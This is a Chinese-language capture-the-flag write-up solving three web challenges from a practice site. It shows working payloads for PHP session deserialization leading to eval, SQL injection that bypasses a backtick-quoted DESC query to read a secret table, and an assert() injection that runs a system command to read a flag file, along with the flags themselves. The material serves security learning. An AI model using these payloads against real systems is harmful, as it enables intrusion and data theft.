题目:
1.PHPINFO
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
这是一段关于session序列化的代码。先学习一下这个东西。
session序列化
三种方法
处理器 | 对应的存储格式 |
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
用一个实例说明这个问题
构造两个文件index.php和flag.php
//flag.php <?php ini_set('session.serialize_handler','php'); session_start(); class hsy { public $zyg; function __construct() { $this->zyg='phpinfo()'; } function __destruct() { eval($this->zyg); } } ?>
//index.php <?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION["hsy"]=$_GET["a"]; echo $_SESSION["hsy"]; ?>
查看flag.php
index.php中插入的序列化字符串被成功执行
由于本题目不存在可以输入代码的地方,借用别人的思路顺便也学习了一下。
构造一个文件
<!DOCTYPE html> <html lang="en"> <body> <form action="http://web.jarvisoj.com:32784/" method="post" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
打开代理截取上传文件
在本地生成一个序列化字符串
<?php ini_set('session.serialize_handler', 'php_serialize'); class hsy { public $mdzz='需要设置的代码'; function __construct() { // $this->mdzz = 'phpinfo();'; } function __destruct() { // echo $this->mdzz; } } $obj = new hsy(); echo serialize($obj); ?>
尝试构造“|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:16:\"echo \"syclover\";\";}”
返回了字符串
因此可以在插入字符串的片段中执行我们想要的东西
查找根目录
进入子目录查找
进入对应文件
答案:CTF{4d96e37f4be998c50aa586de4ada354a}
2.inject
打开题目
用dirsearch扫后台发现源码泄露,index.php~
下载源码。
<?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
这里涉及了两个关键的查询语句
desc secret_($table)
select 'flag{xxx}' from secret_{$table}
先去看一下desc语句
本地测试一下
desc的作用是排序。
mysql> create table students( -> id int(2) auto_increment primary key, -> scores varchar(20), -> first_name varchar(20)); Query OK, 0 rows affected (0.18 sec) mysql> desc students; +------------+-------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------+-------------+------+-----+---------+----------------+ | id | int(2) | NO | PRI | NULL | auto_increment | | scores | varchar(20) | YES | | NULL | | | first_name | varchar(20) | YES | | NULL | | +------------+-------------+------+-----+---------+----------------+ 3 rows in set (0.01 sec)
他会对于变量中是否存在一些元素进行排序。
前面有了desc的约束 无法通过xx union select 1,2,3#进行查询
上网学习了一下。对于反引号的绕过可以如下方式。
mysql> create table desc( -> id int(1)); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'desc( id int(1))' at line 1 mysql> create table `desc`( -> id int(1)); Query OK, 0 rows affected (0.04 sec)
desc表单加``即可建立,不加就会报错。
在构造语句的过程中发现,后面还可以跟反引号括起来的内容,例如desc user aaa,查资料发现这样写的结果是,语句正常执行,aaa作为user表的别名。那么在这道题目中就可以保证第一个sql语句正常执行,不跳到Hacker()函数,通过这种形式就可以构造第二个sql语句完成注入的目的。
本地SQL测试一下
mysql> desc students aaa; Empty set (0.00 sec)
成功注入到students中。
按这个原理去测试一下
http://web.jarvisoj.com:32794/?table=test` `where 1=2 union select 1
http://web.jarvisoj.com:32794/?table=test` `where% 1=2 union select table_name from information_schema.tables limit 0,1
http://web.jarvisoj.com:32794/?table=test`%20`where%201=2%20union%20select%20column_NAME%20from%20information_schema.columns%20limit%200,1
http://web.jarvisoj.com:32794/?table=test`%20`where%201=2%20union%20select%20flagUwillNeverKnow%20from%20secret_flag
flag{luckyGame~}
3.babyphp
打开不同页面page的参数也不同。用githack扫一下目录。
//index.php
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
这里的assert()是比较重要的。
先来看一下assert的用法。
assert和eval一样作用是将字符串作为一段代码执行
因此可以利用这样的特点进行php注入。
利用assert可以执行代码的特点进入文件。
payload:
?page='. system("cat templates/flag.php").'
查看源码后可得到flag。